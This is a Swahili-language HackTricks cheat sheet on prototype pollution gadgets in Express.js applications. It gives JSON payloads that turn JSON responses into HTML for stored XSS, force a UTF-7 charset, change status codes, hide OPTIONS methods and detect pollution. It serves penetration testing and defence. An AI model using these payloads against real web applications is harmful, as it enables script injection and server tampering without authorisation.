Express Prototype Pollution Gadgets

Support HackTricks

WhiteIntel ni injini ya kutafuta inayotumiwa na dark-web ambayo inatoa kazi za bure kuangalia ikiwa kampuni au wateja wake wamekuwa compromised na stealer malwares.

Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.

Unaweza kuangalia tovuti yao na kujaribu injini yao kwa bure kwenye:


Serve XSS responses

Kwa maelezo zaidi angalia utafiti wa asili

Badilisha aina ya maudhui ya JSON kuwa HTML

Katika programu ya Express inayotumia aina ya maudhui ya JSON na kuakisi JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Katika hizi kesi, XSS kawaida haiwezekani na aina ya maudhui ya JSON. Hata hivyo, kwa uchafuzi wa prototype tunaweza kuchanganya Express kutoa jibu la HTML. Uthibitisho huu unategemea programu inayotumia res.send(obj) na kutumia parser ya mwili na aina ya maudhui ya application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Kwa kuchafua mali za body na _body, inawezekana kusababisha Express kutoa aina ya maudhui ya HTML na kuonyesha mali ya _body, na kusababisha XSS iliyohifadhiwa.

Onyesha UTF7

Inawezekana kufanya express ionyeshe maudhui ya UTF-7 kwa:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Safe Scanning Techinques

JSON spaces

Ifuatayo PP itafanya sifa ndani ya JSON kuwa na nafasi ya ziada ambayo haitavunja utendaji:

{"__proto__":{"json spaces": " "}}

Kisha JSON iliyoakisi itaonekana kama:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

Gadget ya PP ifuatayo itafanya seva itume tena kichwa cha HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Inahitaji moduli ya CORS kufungwa

Njia ya OPTIONS

Kwa payload ifuatayo, inawezekana kuficha njia kutoka kwa jibu la OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Hali

Inawezekana kubadilisha kodi ya hali iliyorudishwa kwa kutumia mzigo wa PP ufuatao:

{"__proto__":{"status":510}}

Hitilafu

Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu. Ikiwa unajaribu kuweka kitu cha prototype kwenye Object.prototype yenyewe, hii itasababisha kutoa hitilafu. Tunaweza kutumia tabia hizi mbili ili kubaini ikiwa uchafuzi wa prototype umefanikiwa:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

Wakati programu inajumuisha kitu katika jibu lake, kuunda sifa yenye jina lisilo la kawaida pamoja na __proto__ kunaweza kuwa na maana. Kwa hakika, ikiwa sifa hiyo pekee isiyo ya kawaida inarudishwa katika jibu, hii inaweza kuashiria udhaifu wa programu:

{"unusualName":"value","__proto__":"test"}

Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kupitia uchafuzi wa prototype (PP) na moja kwa moja ndani ya kitu kunatoa njia nyingine ya uchambuzi. Ikiwa mali kama hiyo imeachwa kwenye jibu, inamaanisha kwamba Lodash inathibitisha uwepo wa mali hiyo katika kitu cha lengo kabla ya kuunganisha:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Ruhusu Vidoti

Kuna chaguo katika Express kinachokuruhusu kuunda vitu kutoka kwa vigezo vya mfuatano wa swali. Unaweza hakika kukitumia katika mnyororo wa hitilafu ili kutumia udhaifu wa uchafuzi wa prototype.

{"__proto__":{"allowDots":true}}

?foo.bar=baz inaunda kitu katika Node.

Marejeleo

WhiteIntel ni injini ya utafutaji inayotumiwa na dark-web ambayo inatoa kazi za bure kuangalia ikiwa kampuni au wateja wake wamekuwa wameathiriwa na stealer malwares.

Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware ya kuiba taarifa.

Unaweza kuangalia tovuti yao na kujaribu injini yao bure kwenye:

Support HackTricks

Last updated